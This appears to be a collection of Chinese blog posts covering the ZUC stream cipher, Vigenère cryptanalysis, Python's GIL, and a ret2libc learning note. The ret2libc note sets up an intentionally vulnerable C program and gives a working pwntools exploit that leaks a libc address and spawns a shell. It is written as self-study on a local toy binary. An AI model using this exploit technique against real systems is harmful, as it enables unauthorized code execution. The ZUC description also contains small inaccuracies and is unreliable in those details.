祖冲之算法实现(ZUC算法)

0X00简介

ZUC算法,即祖冲之算法,是3GPP机密性算法EEA3和完整性算法EIA3的核心,为中国自主设计的流密码算法。

本算法接受一个128位密钥k,一个128位初始向量iv作为输入,以一个密钥流作为输出。


0X01算法结构

Image

图例介绍:

  • Image整数位异或运算
  • Image模2^32加法

算法由三部分构成,如图所示,从上到下分别为顶层 16段线性反馈移位寄存器(Liner Feedback Shifting Register (LFSR)),中间层bite重组器(Bite Reorganization (BR)),底层非线性函数F。


0X02参数产生

ZUC算法需要一个128位的初始密钥K与一个128位的初始向量IV,用于加载入LFSR。

LSFR有16个31位寄存器(S0,S1,S2…..),Si=Ki||Di||IVi .(0x123||0x456==123456)

Di是一组固定向量:

u32 D[16] = {
0x44D7, 0x26BC, 0x626B, 0x135E, 0x5789, 0x35E2, 0x7135, 0x09AF,
0x4D78, 0x2F13, 0x6BC4, 0x1AF1, 0x5E26, 0x3C4D, 0x789A, 0x47AC
};

S盒

S盒由四个并列的8X8的S盒组成的。S=[S0,S1,S2,S3]。其中S0=S2,S1=S3。S0和S1的定义见下表

S0[256] = {
0x3e,0x72,0x5b,0x47,0xca,0xe0,0x00,0x33,0x04,0xd1,0x54,0x98,0x09,0xb9,0x6d,0xcb,
0x7b,0x1b,0xf9,0x32,0xaf,0x9d,0x6a,0xa5,0xb8,0x2d,0xfc,0x1d,0x08,0x53,0x03,0x90,
0x4d,0x4e,0x84,0x99,0xe4,0xce,0xd9,0x91,0xdd,0xb6,0x85,0x48,0x8b,0x29,0x6e,0xac,
0xcd,0xc1,0xf8,0x1e,0x73,0x43,0x69,0xc6,0xb5,0xbd,0xfd,0x39,0x63,0x20,0xd4,0x38,
0x76,0x7d,0xb2,0xa7,0xcf,0xed,0x57,0xc5,0xf3,0x2c,0xbb,0x14,0x21,0x06,0x55,0x9b,
0xe3,0xef,0x5e,0x31,0x4f,0x7f,0x5a,0xa4,0x0d,0x82,0x51,0x49,0x5f,0xba,0x58,0x1c,
0x4a,0x16,0xd5,0x17,0xa8,0x92,0x24,0x1f,0x8c,0xff,0xd8,0xae,0x2e,0x01,0xd3,0xad,
0x3b,0x4b,0xda,0x46,0xeb,0xc9,0xde,0x9a,0x8f,0x87,0xd7,0x3a,0x80,0x6f,0x2f,0xc8,
0xb1,0xb4,0x37,0xf7,0x0a,0x22,0x13,0x28,0x7c,0xcc,0x3c,0x89,0xc7,0xc3,0x96,0x56,
0x07,0xbf,0x7e,0xf0,0x0b,0x2b,0x97,0x52,0x35,0x41,0x79,0x61,0xa6,0x4c,0x10,0xfe,
0xbc,0x26,0x95,0x88,0x8a,0xb0,0xa3,0xfb,0xc0,0x18,0x94,0xf2,0xe1,0xe5,0xe9,0x5d,
0xd0,0xdc,0x11,0x66,0x64,0x5c,0xec,0x59,0x42,0x75,0x12,0xf5,0x74,0x9c,0xaa,0x23,
0x0e,0x86,0xab,0xbe,0x2a,0x02,0xe7,0x67,0xe6,0x44,0xa2,0x6c,0xc2,0x93,0x9f,0xf1,
0xf6,0xfa,0x36,0xd2,0x50,0x68,0x9e,0x62,0x71,0x15,0x3d,0xd6,0x40,0xc4,0xe2,0x0f,
0x8e,0x83,0x77,0x6b,0x25,0x05,0x3f,0x0c,0x30,0xea,0x70,0xb7,0xa1,0xe8,0xa9,0x65,
0x8d,0x27,0x1a,0xdb,0x81,0xb3,0xa0,0xf4,0x45,0x7a,0x19,0xdf,0xee,0x78,0x34,0x60
};

 

S1[256] = {
0x55,0xc2,0x63,0x71,0x3b,0xc8,0x47,0x86,0x9f,0x3c,0xda,0x5b,0x29,0xaa,0xfd,0x77,
0x8c,0xc5,0x94,0x0c,0xa6,0x1a,0x13,0x00,0xe3,0xa8,0x16,0x72,0x40,0xf9,0xf8,0x42,
0x44,0x26,0x68,0x96,0x81,0xd9,0x45,0x3e,0x10,0x76,0xc6,0xa7,0x8b,0x39,0x43,0xe1,
0x3a,0xb5,0x56,0x2a,0xc0,0x6d,0xb3,0x05,0x22,0x66,0xbf,0xdc,0x0b,0xfa,0x62,0x48,
0xdd,0x20,0x11,0x06,0x36,0xc9,0xc1,0xcf,0xf6,0x27,0x52,0xbb,0x69,0xf5,0xd4,0x87,
0x7f,0x84,0x4c,0xd2,0x9c,0x57,0xa4,0xbc,0x4f,0x9a,0xdf,0xfe,0xd6,0x8d,0x7a,0xeb,
0x2b,0x53,0xd8,0x5c,0xa1,0x14,0x17,0xfb,0x23,0xd5,0x7d,0x30,0x67,0x73,0x08,0x09,
0xee,0xb7,0x70,0x3f,0x61,0xb2,0x19,0x8e,0x4e,0xe5,0x4b,0x93,0x8f,0x5d,0xdb,0xa9,
0xad,0xf1,0xae,0x2e,0xcb,0x0d,0xfc,0xf4,0x2d,0x46,0x6e,0x1d,0x97,0xe8,0xd1,0xe9,
0x4d,0x37,0xa5,0x75,0x5e,0x83,0x9e,0xab,0x82,0x9d,0xb9,0x1c,0xe0,0xcd,0x49,0x89,
0x01,0xb6,0xbd,0x58,0x24,0xa2,0x5f,0x38,0x78,0x99,0x15,0x90,0x50,0xb8,0x95,0xe4,
0xd0,0x91,0xc7,0xce,0xed,0x0f,0xb4,0x6f,0xa0,0xcc,0xf0,0x02,0x4a,0x79,0xc3,0xde,
0xa3,0xef,0xea,0x51,0xe6,0x6b,0x18,0xec,0x1b,0x2c,0x80,0xf7,0x74,0xe7,0xff,0x21,
0x5a,0x6a,0x54,0x1e,0x41,0x31,0x92,0x35,0xc4,0x33,0x07,0x0a,0xba,0x7e,0x0e,0x34,
0x88,0xb1,0x98,0x7c,0xf3,0x3d,0x60,0x6c,0x7b,0xca,0xd3,0x1f,0x32,0x65,0x04,0x28,
0x64,0xbe,0x85,0x9b,0x2f,0x59,0x8a,0xd7,0xb0,0x25,0xac,0xaf,0x12,0x03,0xe2,0xf2
};

假设X是Si盒的一个8位输入,例如X=0xF9。则S盒返回第F行第9列的8位值作为输出。实际使用中,S盒接受一个32位值。

例:T=0X12345678,S(T)=S0(0X12)||S1(0X34)||S2(0X56)||S3(0X78)。

线性变换L

    L1(X)=X+(X<<<2)+(X<<<10)+(X<<<18)+(X<<<24) mod2^32 

(1.x<<<k,表示x向左循环移位l位。本算法中所有循环移位,如无特殊说明,均为面向32位寄存器的循环移位。2.mod x,表示对x取模)

    L2(x)=X+(X&lt;&lt;&lt;8)+(X&lt;&lt;&lt;14)+(X&lt;&lt;&lt;22)+(X&lt;&lt;&lt;30) mod2^32

0X03算法流程

ZUC的运行分为初始化阶段和工作阶段。(注:有不理解的函数名可查阅“算法细节”)

1.初始化阶段

在初始化阶段,首先要把128位密钥k和128位初始向量iv加载入LFSR中。并将R1,R2清零。 然后进行32轮以下操作:

  1. Bite Reorganization()
  2. W=F(X0,X1,X2)
  3. LFSRInitialisationMode()

2.工作阶段

在初始化阶段结束之后,ZUC算法进入工作阶段。在工作阶段,算法执行一次下面的操作,并丢弃函数F的输出W:

  1. Bite Reorganization()
  2. F(X0,X1,X2)
  3. LFSRInitialisationMode()

在此之后,算法进入产生密钥流阶段,将下面的操作每运行一次,输出一个32位的字Z。

  1. Bite Reorganization()
  2. Z=F(X0,X1,X2)^X3
  3. LFSRWorkMode()

0X04算法细节

1. Bite Reorganization

Bite Reorganization输出四个32位字。

    Bite Reorganization(){
        X0=S15(H)||S14(L)  ( K(L)代指K的低16位,K(H代指K的高16位) )
        X1=S11(L)||S9(H)
        X2=S7(L)||S6(H)
        X3=S2(L)||S0(H)
    }

2.F非线性函数

F接收3个32位字作为输入(X0,X1,X2),内含两个32位寄存器R1、R2。输出一个32位字W。

    F(X0,X1,X2){
        W=(X0^R1)+R2 % (2^32)
        W1=R1+X1
        W2=(R2^X2) % (2^32)
        R1=S(L1(W1(L)||W2(H)))
        R2=S(L2(W2(L)||W1(H)))
    }

3. LFSR

LFSR有两种模式,分别为初始化模式(LFSRInitialisationMode),工作模式(LFSRWorkMode)

3.1.LFSRInitialisationMode

LFSR在此模式下接收一个31位输入字U,这个输入是非线性函数F输出的32位字W除去最低位获得的。(U=W>>1)

    LFSRInitialisationMode(U){
        v= (2^15*S5 + 2^17*S13 + 2^21*S10 + 2^20*S4 + (2^8+1)*S0 ) % (2^31-1)
        S16=(v+U) % (2^31-1)
        if(S16==0){
            S16=2^31-1
        }
        (S1,S2,S3...)-----&gt;(S0,S1,S2...)
    }

3.2.LFSRWorkMode

LFSR在此模式下不接收输入。

    LFSRWorkMode(){
        S16 = (2^15*S5 + 2^17*S13 + 2^21*S10 + 2^20*S4 + (2^8+1)*S0 ) % (2^31-1)
        if(S16==0){
            S16=2^31-1
        }
        (S1,S2,S3...)-----&gt;(S0,S1,S2...)
    }

ret to libc

今晚尝试了一下 ret2libc 感觉比想象中的要简单一些,写一下学习笔记~

目标代码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

将代码编译成elf 命名为1

因为在开启ASLR后,libc,堆,栈,都是随机装载的,但是程序的代码装载时并未随机(如果程序代码随机,,恐怕jmp,call等一系列命令使用时都要GG)。因此我们可以通过这个特点泄露出libc的地址,进而找到system函数的地址。

我们的目的是绕过ASLR与DEP,因为函数内没有直接调用system函数,所以需要通过已知的东西动态的找到system函数。

先看一下plt段:

<code>
objdump -d -j .plt 1

1:     file format elf32-i386


Disassembly of section .plt:

08048300 <read@plt-0x10>:
 8048300:	ff 35 04 a0 04 08    	pushl  0x804a004
 8048306:	ff 25 08 a0 04 08    	jmp    *0x804a008
 804830c:	00 00                	add    %al,(%eax)
	...

08048310 <read@plt>:
 8048310:	ff 25 0c a0 04 08    	jmp    *0x804a00c
 8048316:	68 00 00 00 00       	push   $0x0
 804831b:	e9 e0 ff ff ff       	jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048326:	68 08 00 00 00       	push   $0x8
 804832b:	e9 d0 ff ff ff       	jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:	ff 25 14 a0 04 08    	jmp    *0x804a014
 8048336:	68 10 00 00 00       	push   $0x10
 804833b:	e9 c0 ff ff ff       	jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048346:	68 18 00 00 00       	push   $0x18
 804834b:	e9 b0 ff ff ff       	jmp    8048300 <_init+0x30>

</code>

好的看上去我们可以使用write函数【姑且假装我们不知道源码。。】
查一下目标调用的.so库

<code>
ldd 1
	linux-gate.so.1 =>  (0xb77bc000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75f7000)
	/lib/ld-linux.so.2 (0xb77bd000)

</code>

那么此次溢出的思路是:首先用write写出write函数动态装载的地址,因为libc内部的装载顺序是固定不变的,所以我们可以根据泄露出的write地址计算出system的地址,弹出shell。

pattern后我们可以发现程序输入的溢出长度为140(此处也可动态调试/静态调试后计算出栈的长度)

对pwntools中几个函数的说明:

<code>
a=ELF('./1')
a.symbols['write']
#返回write函数在plt表中的地址
#jmp XXXX
#push XXXX
#jmp XXXX
#返回的是第一个jmp的地址
a.got['write']
#返回got表中write的地址
b=ELF('./libc.so')
b.symbols['write']
#返回libc 中write的地址
b.search('/bin/sh')
#返回一个列表,列表内容是所有'/bin/sh'的地址
</code>

看一下python利用代码:

>>> from pwn import *
>>> io=process('./1')
[+] Started program './1'
>>> elf=ELF('1')
>>> lib=ELF('libc.so')
>>> write_got=elf.got['write']
>>> write_plt=elf.symbols['write']
>>> f=0x804844d       #注:此处的f为void vulnerable_function()的地址。在GDB中通过"print vulnerable_function"得到。
>>> payload='a'*140+p32(write_plt)+p32(f)+p32(1)+p32(write_got)+p32(4)    #在此处我们构建了一个ROP链,在输出write函数地址后返回void vulnerable_function(),进行下一步操作。
>>> io.send(payload)
>>> write_addr=recv(4)
>>> write_addr=u32(write_addr)
>>> system_addr=write_addr-(lib.symbols['write']-lib.symbols['system'])
>>> bash_addr=write_addr-(lib.symbols['write']-next(lib.search('/bin/sh')))
>>> payload='a'*140+p32(system_addr)+p32(f)+p32(bash_addr)
>>> io.send(payload)
>>> io.interactive()
[*] Switching to interactive mode
whoami
XXX

HAVE FUN!

对维吉尼亚的分析

前几日遇到了维吉尼亚密码题,然而网上居然搜不到顺手的分析工具。。于是自己撸了两个脚本出来。。

如何对维吉尼亚进行分析?
我们可以看到为了实现密码分析我们需要解决两个问题:
1.确定key的长度
2.确定具体key的值

首先讨论如何确定key的长度:
(假设key长为len,k为自然数)
这里要提及一下维吉尼亚密码的一个缺陷,或者说漏洞。
仔细考虑维吉尼亚加密算法我们可以看到,当明文中的两段相同字符串的间距为密钥长度的k倍时,这两段明文将被加密成相同的密文。此时我们可以遍历密文,寻找所有相同字符串。在实际操作中,当两个相距为3个字符以上的字符串相同时,我们就可以将这两个字符串纳入统计了。在统计结束后,我们计算所有相同字符串的最大公因数很可能就是key的长度。
我们可以看到,在实际应用中,上面这种方法是不很靠谱的。
1.我们需要考虑巧合,两段不同的明文恰好被加密成相同的字符串。此时只能将这一列表中的所有因数排序后列出,查看出现次数最多的因数。
2.如果key的长度有很多因数,我们得到的公因数可能是key长度的因数。此时只能手动查看。并且进行一定程度的猜解。

解决办法?当然是有的。
“William F. Friedman”在1920提出了重合指数法,此方法解释如下:
我们都知道,英语中,当文章的长度足够长时,各个字母出现的频率趋于一个固定值。我在此处贴出一个可参考的字频统计:Alphabet_boom=[0.082,0.015,0.028,0.043,0.127,0.022,0.020,0.061,0.070,0.002,0.008,0.040,0.024,0.067,0.075,0.019,0.001,0.060,0.063,0.091,0.028,0.010,0.023,0.001,0.020,0.001]

在维基百科中我们可以了解到,维吉尼亚加密算法本质上相当于对明文进行分组的凯撒加密。
我们在一个字符串中,遍历K,将第【k*len+0】,【k*len+1】,【k*len+2】……【k*len+len-1】个元素分别存入len个列表中。此时我们得到了len个列表,每个列表中的密文都相当于针对对应明文的一次凯撒加密。于是我们就可以在每个列表里开始愉快的字频分析啦~
因为我们的第一步是确定key的长度,所以为了减少运算,在第一步时我们不去考虑该列表凯撒加密的具体密钥是多少。我们可以计算:在该密文串中出现的所有字母的频率平方和,将其与英文字母字频统计表中的各字母平方和(0.065601)进行对比。
TIPs:
*完全随机的字符串中,字符出现频率为 p=0.001479290。我们可以看到p与我们的期望值(0.065601)相差比较多。因此此方法应该是可行的。
*可以这样做的原因:对于凯撒加密来说,明文与密文的字频平方和是相同的。【仔细想一下凯撒密码的加密原理
*对字频进行平方的原因:放大差距的同时减少运算。实践中我们可以发现,二次方倍的放大已经足够我们找到差距。【“为什么求平方和而不是一次方和或三次方和?”

实例:
【取密文:
tigdpruuduthibgziovhrygaiwgeptyzonvkiigfsxguiquugftrjykueoflrlcptiodksomidgqxjblnjpjwtljostxkfzldqkqoxqpetvkimautjpjwjgzooydwtblrxkwlmubneudrimbntrxxfchygquwndtoovkwynlvjphcfxksxguigazybidmsgztigziqrvrhcqmekkfbtpiwyarfcwiizoejtymskzaofwljsvrfndgpgkajulgfruejikftxzhvtumjjaoeqwljvyuokqkynlytjryqjoawggsskpnoqyirhlr
该密文对应的key为“abcdefgh”长度为8位。

实际运行结果:
第一步确定key长度时输出:
[2,4]
进行kasiski统计:

len=2时输出:

[0.045239261799771356, 0.0412737799834574]
这两个值都与我们的预期值不符,于是计算下一个

len=4时输出:

[0.054527750730282376, 0.057942057942057944, 0.055944055944055944, 0.05527805527805528]

我们可以看到这四个值与我们预期的(0.065601)依然有差距。猜测此时len可能为2,4的倍数

len=8时输出:

[0.06282051282051282, 0.06882591093117409, 0.07422402159244265, 0.06342780026990553, 0.08636977058029689, 0.05668016194331984, 0.044534412955465584, 0.07827260458839407]

我们可以看到此时的输出大部分已经与预期值很相近了。
秉持求实的精神我们计算一下下一个值

len=16时输出:

[0.07368421052631578, 0.07894736842105263, 0.06315789473684211, 0.05263157894736842, 0.07368421052631578, 0.042105263157894736, 0.042105263157894736, 0.04736842105263158, 0.05263157894736842, 0.04678362573099415, 0.07017543859649122, 0.07017543859649122, 0.07017543859649122, 0.05263157894736842, 0.023391812865497075, 0.08187134502923976]
我们可以看到此时的数值已经开始向预期值以外偏移了。

估计结果Len长度应为8。

其次呢,讨论一下如何确定具体key值。实际上,此处对key值的确定与对凯撒密码中key值的确定方法是相同的。
第一种方法是直接对拆分后的各个列表进行字频统计,将密文中的字母出现频率与英文中的字母频率进行比对,可以解出。
这种方法毫无疑问,存在弊端。对人的要求太大,工作量略高。此处主要介绍另一种方法。
这种方法的中心思想依然是概率统计。
对每个列表,假设第t个字母的出现频率为p(t),英文中第t个字母的出现频率为Alp_p(t),此列表的密钥为k,(此处k为该字母的序列号【’a’对应0,’b’对应1……】)
此时我们可以看到,如果计算 p(t+k)*Alp_p(t) 在0~25之间遍历t,求每一个t对应的表达式结果,累加到 Mg[k]
如果此处的k为真正的密钥,会出现什么情况?
你说对了,如果此处的k为真正的密钥,累加和将趋于(0.065601)。于是我们只需要在0~26遍历每个列表的k,最终我们可以在返回数据中分析出正确的密钥。
TIPs:
*一般情况下对遍历k的结果分析时,k的所有错误值对应的结果将比(0.065601)略小
**【考虑高中学过的基本不等式。两个相乘的因数越接近,他们相乘的结果将越大。
实例分析:
对各个列表,Len=8时,k在0~26中遍历结果:

[0.0671, 0.037825, 0.03235, 0.032325, 0.040499999999999994, 0.036625000000000005, 0.043525, 0.03485, 0.025925, 0.03619999999999999, 0.04809999999999999, 0.041275, 0.038325, 0.0517, 0.037200000000000004, 0.040249999999999994, 0.037325000000000004, 0.039975, 0.026624999999999996, 0.032075000000000006, 0.03707500000000001, 0.040075000000000006, 0.041625, 0.030875, 0.031674999999999995, 0.039599999999999996]
[0.0438974358974359, 0.058282051282051286, 0.03797435897435898, 0.03482051282051282, 0.0376923076923077, 0.05110256410256411, 0.04007692307692308, 0.030282051282051286, 0.032205128205128206, 0.03974358974358974, 0.043897435897435895, 0.03258974358974359, 0.034846153846153846, 0.031230769230769232, 0.04246153846153846, 0.04020512820512821, 0.04876923076923076, 0.03541025641025641, 0.03741025641025642, 0.034897435897435894, 0.033461538461538466, 0.046692307692307686, 0.039948717948717946, 0.044615384615384626, 0.022589743589743597, 0.025897435897435896]
[0.0341025641025641, 0.043153846153846154, 0.07261538461538461, 0.03564102564102565, 0.032179487179487175, 0.03520512820512821, 0.05112820512820514, 0.030692307692307692, 0.037307692307692306, 0.02741025641025641, 0.03112820512820513, 0.03415384615384617, 0.041025641025641026, 0.04733333333333334, 0.0391025641025641, 0.051897435897435895, 0.034589743589743586, 0.04643589743589743, 0.0348974358974359, 0.03912820512820514, 0.029128205128205135, 0.03764102564102565, 0.02584615384615385, 0.03305128205128205, 0.04271794871794872, 0.03348717948717949]
[0.028051282051282055, 0.02774358974358974, 0.03982051282051282, 0.06410256410256411, 0.03243589743589744, 0.037692307692307685, 0.03964102564102564, 0.03823076923076923, 0.03012820512820513, 0.03948717948717949, 0.04141025641025642, 0.03682051282051282, 0.04274358974358975, 0.029666666666666664, 0.030717948717948723, 0.039538461538461536, 0.05597435897435896, 0.037410256410256415, 0.0461025641025641, 0.035, 0.03366666666666667, 0.031, 0.04605128205128205, 0.03553846153846153, 0.03551282051282051, 0.04651282051282051]
[0.03730769230769231, 0.035179487179487184, 0.03248717948717949, 0.04069230769230769, 0.06841025641025641, 0.04284615384615384, 0.036307692307692305, 0.031153846153846153, 0.05417948717948719, 0.03297435897435898, 0.03733333333333333, 0.03023076923076923, 0.027974358974358977, 0.02523076923076923, 0.036025641025641035, 0.04812820512820513, 0.03323076923076923, 0.04271794871794871, 0.043000000000000003, 0.0428974358974359, 0.04387179487179488, 0.03892307692307692, 0.03520512820512821, 0.03707692307692308, 0.041512820512820514, 0.026102564102564105]
[0.038128205128205125, 0.05033333333333334, 0.037307692307692306, 0.02697435897435897, 0.044948717948717944, 0.06599999999999999, 0.033871794871794876, 0.028051282051282062, 0.034435897435897436, 0.03643589743589744, 0.031102564102564102, 0.03964102564102564, 0.042666666666666665, 0.03784615384615385, 0.03671794871794872, 0.040179487179487175, 0.046538461538461535, 0.04115384615384615, 0.03869230769230769, 0.03241025641025641, 0.040871794871794875, 0.03223076923076923, 0.028102564102564103, 0.03823076923076923, 0.04535897435897436, 0.032769230769230766]
[0.028333333333333335, 0.029666666666666664, 0.05084615384615386, 0.039076923076923085, 0.028743589743589742, 0.03456410256410257, 0.057487179487179484, 0.03664102564102564, 0.032102564102564096, 0.04076923076923077, 0.04261538461538461, 0.026025641025641026, 0.03374358974358975, 0.047769230769230765, 0.03843589743589744, 0.03284615384615384, 0.03679487179487179, 0.0397948717948718, 0.04205128205128205, 0.04271794871794871, 0.04051282051282051, 0.04056410256410257, 0.03661538461538461, 0.034, 0.04451282051282051, 0.04376923076923077]
[0.029076923076923077, 0.039794871794871796, 0.03215384615384616, 0.04033333333333334, 0.026282051282051286, 0.026846153846153843, 0.05184615384615385, 0.0695897435897436, 0.04602564102564102, 0.027512820512820516, 0.02946153846153846, 0.04602564102564102, 0.04117948717948719, 0.03528205128205129, 0.030846153846153846, 0.02594871794871795, 0.03307692307692309, 0.04415384615384616, 0.047692307692307694, 0.03938461538461539, 0.039538461538461536, 0.04417948717948717, 0.04371794871794872, 0.04469230769230769, 0.0337948717948718, 0.03256410256410257]

【此次脚本写的略仓促,没有考虑可视化的问题……大家见谅一下。。

上述数据分布很有规律,我们可以很容易找到key值。

总结:
维吉尼亚密码(实际上这些古典密码可能已经不能被称之为密码了。。隐写游戏这个名字可能更适合他们)
在对维吉尼亚进行分析时,我们的步骤:
1.确定key的值。
2.将密文分成len(key)组子串。
3.确定key的值。

HAVE FUN !

关于py多线程

import threading
import itertools
from string import letters
from time import ctime,sleep,time

# class mythread(threading.Thread):
#     def __init__(self,func,args,name=''):
#         threading.Thread.__init__(self)
#         self.name=name
#         self.func=func
#         self.args = args
#     def run(self):
#         apply(self.func,self.args)

def foo(con,type_):
    for i in xrange(con):
        for each in itertools.product(letters,letters,letters):
            data="".join(each)


def main():
    type_1="thread"
    type_2="usual"
    # newtry=[]
    # for i in xrange(99):
    #     a=mythread(foo,(1,type_1),foo.__name__)
    #     newtry.append(a)
    # for i in newtry:
    #     i.start()
    # for i in newtry:
    #     i.join()


    foo(99,type_2)


if __name__ == '__main__':
    main()

结果:多线程比单线程慢了很多很多。。。。
16s:8.2s


下方摘自某博客,博文最下方给出了原文地址  侵删


原因:

GIL 的全程为 Global Interpreter Lock ,意即全局解释器锁。在 Python 语言的主流实现 CPython 中,GIL 是一个货真价实的全局线程锁,在解释器解释执行任何 Python 代码时,都需要先获得这把锁才行,在遇到 I/O 操作时会释放这把锁。如果是纯计算的程序,没有 I/O 操作,解释器会每隔 100 次操作就释放这把锁,让别的线程有机会执行(这个次数可以通过 sys.setcheckinterval 来调整)。所以虽然 CPython 的线程库直接封装操作系统的原生线程,但 CPython 进程做为一个整体,同一时间只会有一个获得了 GIL 的线程在跑,其它的线程都处于等待状态等着 GIL 的释放。

GIL 直接导致 CPython 不能利用物理多核的性能加速运算。那为什么会有这样的设计呢?猜测是历史遗留问题。多核 CPU 在 1990 年代还属于类科幻,Guido van Rossum 在创造 python 的时候,也想不到他的语言有一天会被用到很可能 1000+ 个核的 CPU 上面,一个全局锁搞定多线程安全在那个时代应该是最简单经济的设计了。简单而又能满足需求,那就是合适的设计(对设计来说,应该只有合适与否,而没有好与不好)。怪只怪硬件的发展实在太快了,摩尔定律给软件业的红利这么快就要到头了。短短 20 年不到,代码工人就不能指望仅仅靠升级 CPU 就能让老软件跑的更快了。在多核时代,编程的免费午餐没有了。如果程序不能用并发挤干每个核的运算性能,那就意谓着会被淘汰。对软件如此,对语言也是一样。那 Python 的对策呢?

Python 的应对很简单,以不变应万变。在最新的 python 3 中依然有 GIL。

CPython 的 GIL 本意是用来保护所有全局的解释器和环境状态变量的。如果去掉 GIL,就需要多个更细粒度的锁对解释器的众多全局状态进行保护。或者采用 Lock-Free 算法。无论哪一种,要做到多线程安全都会比单使用 GIL 一个锁要难的多。而且改动的对象还是有 20 年历史的 CPython 代码树,更不论有这么多第三方的扩展也在依赖 GIL。对 Python 社区来说,这不异于挥刀自宫,重新来过。

有位牛人曾经做了一个验证用的 CPython,将 GIL 去掉,加入了更多的细粒度锁。但是经过实际的测试,对单线程程序来说,这个版本有很大的性能下降,只有在利用的物理 CPU 超过一定数目后,才会比 GIL 版本的性能好。这也难怪。单线程本来就不需要什么锁。单就锁管理本身来说,锁 GIL 这个粗粒度的锁肯定比管理众多细粒度的锁要快的多。而现在绝大部分的 python 程序都是单线程的。再者,从需求来说,使用 python 绝不是因为看中它的运算性能。就算能利用多核,它的性能也不可能和 C/C++ 比肩。费了大力气把 GIL 拿掉,反而让大部分的程序都变慢了,这不是南辕北辙吗。

难道 Python 这么优秀的语言真的仅仅因为改动困难和意义不大就放弃多核时代了吗?

那除了切掉 GIL 外,怎样让 Python 在多核时代不被抛下?使用多进程解决。。确实,多进程也是利用多个 CPU 的好方法。只是进程间内存地址空间独立,互相协同通信要比多线程麻烦很多。有感于此,Python 在 2.6 里新引入了 multiprocessing 这个多进程标准库,让多进程的 python 程序编写简化到类似多线程的程度,大大减轻了 GIL 带来的不能利用多核的尴尬。

这还只是一个方法,如果不想用多进程这样重量级的解决方案,还有个更彻底的方案,放弃 Python,改用 C/C++。当然,你也不用做的这么绝,只需要把关键部分用 C/C++ 写成 Python 扩展,其它部分还是用 Python 来写,让 Python 的归 Python,C 的归 C。一般计算密集性的程序都会用 C 代码编写并通过扩展的方式集成到 Python 脚本里(如 NumPy 模块)。在扩展里就完全可以用 C 创建原生线程,而且不用锁 GIL,充分利用 CPU 的计算资源了。不过,写 Python 扩展总是让人觉得很复杂。好在 Python 还有另一种与 C 模块进行互通的机制 : ctypes

利用 ctypes 绕过 GIL

ctypes 与 Python 扩展不同,它可以让 Python 直接调用任意的 C 动态库的导出函数。你所要做的只是用 ctypes 写些 python 代码即可。最酷的是,ctypes 会在调用 C 函数前释放 GIL。所以,我们可以通过 ctypes 和 C 动态库来让 python 充分利用物理内核的计算能力。